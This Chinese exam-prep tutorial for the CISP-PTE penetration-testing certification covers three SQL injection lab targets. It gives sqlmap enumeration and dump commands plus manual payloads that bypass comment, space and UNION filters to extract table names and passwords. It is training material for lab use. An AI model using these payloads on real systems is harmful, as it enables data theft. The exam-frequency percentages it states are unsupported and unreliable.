新手也能看懂的CISP-PTE备考:用SQLMap搞定三个典型SQL注入靶场(附完整命令)
从零攻克CISP-PTE:SQL注入三大经典靶场实战解析
1. 为什么这三个靶场是CISP-PTE必考题?
在CISP-PTE认证考试中,SQL注入始终是重点考察内容。这三个靶场之所以经典,是因为它们覆盖了考试大纲中90%以上的SQL注入考点。第一个靶场考察基础的布尔盲注和报错注入,第二个靶场重点测试过滤绕过技巧,第三个靶场则综合了多种防御机制的突破方法。
靶场与知识点的对应关系:
| 靶场编号 | 核心考点 | 考试出现频率 |
|---|---|---|
| 靶场1 | 基础注入与数据提取 | 45% |
| 靶场2 | 注释符过滤绕过 | 30% |
| 靶场3 | 空格过滤与UNION双写绕过 | 25% |
注意:实际考试中往往会组合多个考点,这三个靶场的组合训练能覆盖绝大多数考试场景。
2. 靶场1:基础注入实战与SQLMap高效利用
2.1 环境准备与目标分析
首先我们需要搭建本地测试环境。推荐使用Docker快速部署:
docker pull vuln/web-sql-injection:basic docker run -d -p 8080:80 vuln/web-sql-injection:basic这是一个典型的登录型注入漏洞场景,关键特征有:
- 存在用户注册功能但无法修改密码
- 登录后提示"key在admin用户下"
- 后端未对用户输入做充分过滤
2.2 SQLMap全流程攻击演示
步骤1:抓取登录请求
使用Burp Suite拦截登录请求,保存为login.txt文件。典型请求内容如下:
POST /login HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded username=test&password=123456步骤2:数据库枚举
sqlmap -r login.txt --level=5 --risk=3 -p username --dbs关键参数解析:
--level=5:启用所有检测技术--risk=3:允许使用危险的OR-based注入-p username:指定测试参数
步骤3:精确数据提取
当确定数据库名为uinfo后,继续提取关键表数据:
sqlmap -r login.txt -D uinfo -T users --columns sqlmap -r login.txt -D uinfo -T users -C remark --dump3. 靶场2:注释符过滤的高级绕过技巧
3.1 靶场特性分析
这个靶场模拟了文章发布系统,具有以下防御机制:
- 过滤
--和#等常见注释符 - 显示原始SQL语句(方便调试)
- 使用预处理语句但不彻底
3.2 手工注入突破方案
构造有效payload:
1',database(),'ll123')-#- qwe这个payload的巧妙之处在于:
-#-会被过滤为--(有效注释符)- 单引号闭合原有查询
database()函数获取当前库名
分步数据提取:
获取表名:
1',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'ll123')-#- qwe提取字段:
1',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users1'),'ll123')-#- qwe最终数据获取:
1',(select password from users1 limit 0,1),'ll123')-#- qwe
4. 靶场3:复合过滤机制的综合突破
4.1 靶场防御特点
这个靶场设置了多重防御:
- 过滤所有空格字符
- 过滤UNION关键字(包括大小写变种)
- 使用特殊的括号包围输入值
4.2 突破方案设计
空格绕过:使用/**/代替空格
UNION绕过:采用双写技术ununionion
完整攻击链:
判断字段数:
1')/**/order/**/by/**/4%23联合查询构造:
0')/**/ununionion/**/select/**/1,2,3,database()%23表名提取:
0')/**/ununionion/**/select/**/1,2,3,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'/**/%23
实战中发现key实际存储在文件系统中,这提醒我们在考试中要注意题目要求的key位置可能超出数据库范围。
5. CISP-PTE考试高频考点总结
根据这三个靶场的实战经验,我整理出考试中最常出现的五大SQL注入场景:
基础联合查询注入
- 判断字段数
- 确定回显位
- 数据提取技巧
报错注入变种
- floor+rand组合
- extractvalue/updatexml
- 几何函数报错
过滤绕过技术
- 注释符过滤
- 空格过滤
- 关键字过滤
布尔/时间盲注
- 响应差异判断
- 时间延迟技巧
- 二分法加速
二次注入与非常规场景
- 注册时的注入
- 文件操作相关
- HTTP头注入
备考建议:
- 每天至少完成2个不同类型的注入练习
- 建立自己的payload备忘库
- 重点掌握3种以上过滤绕过方法
- 熟悉SQLMap常用参数组合
